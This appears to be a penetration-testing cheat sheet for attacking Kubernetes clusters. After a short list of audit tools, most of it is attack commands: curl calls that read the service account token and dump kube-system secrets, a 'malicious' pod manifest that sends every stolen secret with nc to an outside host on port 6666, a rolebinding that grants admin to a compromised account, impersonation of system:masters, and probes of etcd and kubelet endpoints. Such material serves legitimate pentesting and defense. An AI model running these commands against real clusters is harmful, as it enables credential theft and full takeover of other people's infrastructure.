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# Kubernetes
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> Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation.
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## Summary
- [Tools ](#tools )
- [RBAC Configuration ](#rbac-configuration )
- [Listing Secrets ](#listing-secrets )
- [Access Any Resource or Verb ](#access-any-resource-or-verb )
- [Pod Creation ](#pod-creation )
- [Privilege to Use Pods/Exec ](#privilege-to-use-pods-exec )
- [Privilege to Get/Patch Rolebindings ](#privilege-to-get-patch-rolebindings )
- [Impersonating a Privileged Account ](#impersonating-a-privileged-account )
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- [Privileged Service Account Token ](#privileged-service-account-token )
- [Interesting endpoints to reach ](#interesting-endpoints-to-reach )
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- [API addresses that you should know ](#api-addresses-that-you-should-know )
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- [References ](#references )
## Tools
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* [kubeaudit ](https://github.com/Shopify/kubeaudit ) - Audit Kubernetes clusters against common security concerns
* [kubesec.io ](https://kubesec.io/ ) - Security risk analysis for Kubernetes resources
* [kube-bench ](https://github.com/aquasecurity/kube-bench ) - Checks whether Kubernetes is deployed securely by running [CIS Kubernetes Benchmark ](https://www.cisecurity.org/benchmark/kubernetes/ )
* [kube-hunter ](https://github.com/aquasecurity/kube-hunter ) - Hunt for security weaknesses in Kubernetes clusters
* [katacoda ](https://katacoda.com/courses/kubernetes ) - Learn Kubernetes using interactive broser-based scenarios
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## Service Token
> As it turns out, when pods (a Kubernetes abstraction for a group of containers) are created they are automatically assigned the default service account, and a new volume is created containing the token for accessing the Kubernetes API. That volume is then mounted into all the containers in the pod.
```powershell
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$ cat /var/run/secrets/kubernetes.io/serviceaccount/token
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# kubectl makes cluster compromise trivial as it will use that serviceaccount token without additional prompting
```
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## RBAC Configuration
### Listing Secrets
An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace.
```powershell
curl -v -H "Authorization: Bearer < jwt_token > " https://< master_ip > :< port > /api/v1/namespaces/kube-system/secrets/
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```
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### Access Any Resource or Verb
```powershell
resources:
- '*'
verbs:
- '*'
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```
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### Pod Creation
Check your right with `kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml` .
Then create a malicious pod.yaml file.
```yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update & & apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
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```
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Then `kubectl apply -f malicious-pod.yaml`
### Privilege to Use Pods/Exec
```powershell
kubectl exec -it < POD NAME > -n < PODS NAMESPACE > – - sh
```
### Privilege to Get/Patch Rolebindings
The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account.
Create a malicious RoleBinging.json file.
```powershell
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "malicious-rolebinding",
"namespcaes": "default"
},
"roleRef": {
"apiGroup": "*",
"kind": "ClusterRole",
"name": "admin"
},
"subjects": [
{
"kind": "ServiceAccount",
"name": "sa-comp"
"namespace": "default"
}
]
}
```
```powershell
curl -k -v -X POST -H "Authorization: Bearer < JWT TOKEN > " -H "Content-Type: application/json" https://< master_ip > :< port > /apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious -RoleBinging.json
curl -k -v -X POST -H "Authorization: Bearer < COMPROMISED JWT TOKEN > " -H "Content-Type: application/json" https://< master_ip > :< port > /api/v1/namespaces/kube-system/secret
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```
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### Impersonating a Privileged Account
```powershell
curl -k -v -XGET -H "Authorization: Bearer < JWT TOKEN ( of the impersonator ) > " -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://< master_ip > :< port > /api/v1/namespaces/kube-system/secrets/
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```
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## Privileged Service Account Token
```powershell
$ cat /run/secrets/kubernetes.io/serviceaccount/token
$ curl -k -v -H "Authorization: Bearer < jwt_token > " https://< master_ip > :< port > /api/v1/namespaces/default/secrets/
```
## Interesting endpoints to reach
```powershell
# List Pods
curl -v -H "Authorization: Bearer < jwt_token > " https://< master_ip > :< port > /api/v1/namespaces/default/pods/
# List secrets
curl -v -H "Authorization: Bearer < jwt_token > " https://< master_ip > :< port > /api/v1/namespaces/default/secrets/
# List deployments
curl -v -H "Authorization: Bearer < jwt_token > " https://< master_ip: < port > /apis/extensions/v1beta1/namespaces/default/deployments
# List daemonsets
curl -v -H "Authorization: Bearer < jwt_token > " https://< master_ip: < port > /apis/extensions/v1beta1/namespaces/default/daemonsets
```
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## API addresses that you should know
*(External network visibility)*
### cAdvisor
```powershell
curl -k https://< IP Address > :4194
```
### Insecure API server
```powershell
curl -k https://< IP Address > :8080
```
### Secure API Server
```powershell
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curl -k https://< IP Address > :(8|6)443/swaggerapi
curl -k https://< IP Address > :(8|6)443/healthz
curl -k https://< IP Address > :(8|6)443/api/v1
```
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### etcd API
```powershell
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curl -k https://< IP address > :2379
curl -k https://< IP address > :2379/version
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etcdctl --endpoints=http://< MASTER-IP > :2379 get / --prefix --keys-only
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```
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### Kubelet API
```powershell
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curl -k https://< IP address > :10250
curl -k https://< IP address > :10250/metrics
curl -k https://< IP address > :10250/pods
```
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### kubelet (Read only)
```powershell
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curl -k https://< IP Address > :10255
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http://< external-IP > :10255/pods
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```
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## References
- [Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019 ](https://securityboulevard.com/2019/08/kubernetes-pentest-methodology-part-1 )
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- [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019 ](https://securityboulevard.com/2019/09/kubernetes-pentest-methodology-part-2 )
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- [Kubernetes Pentest Methodology Part 3 - by Or Ida on November 21, 2019 ](https://securityboulevard.com/2019/11/kubernetes-pentest-methodology-part-3 )
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon ](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0 )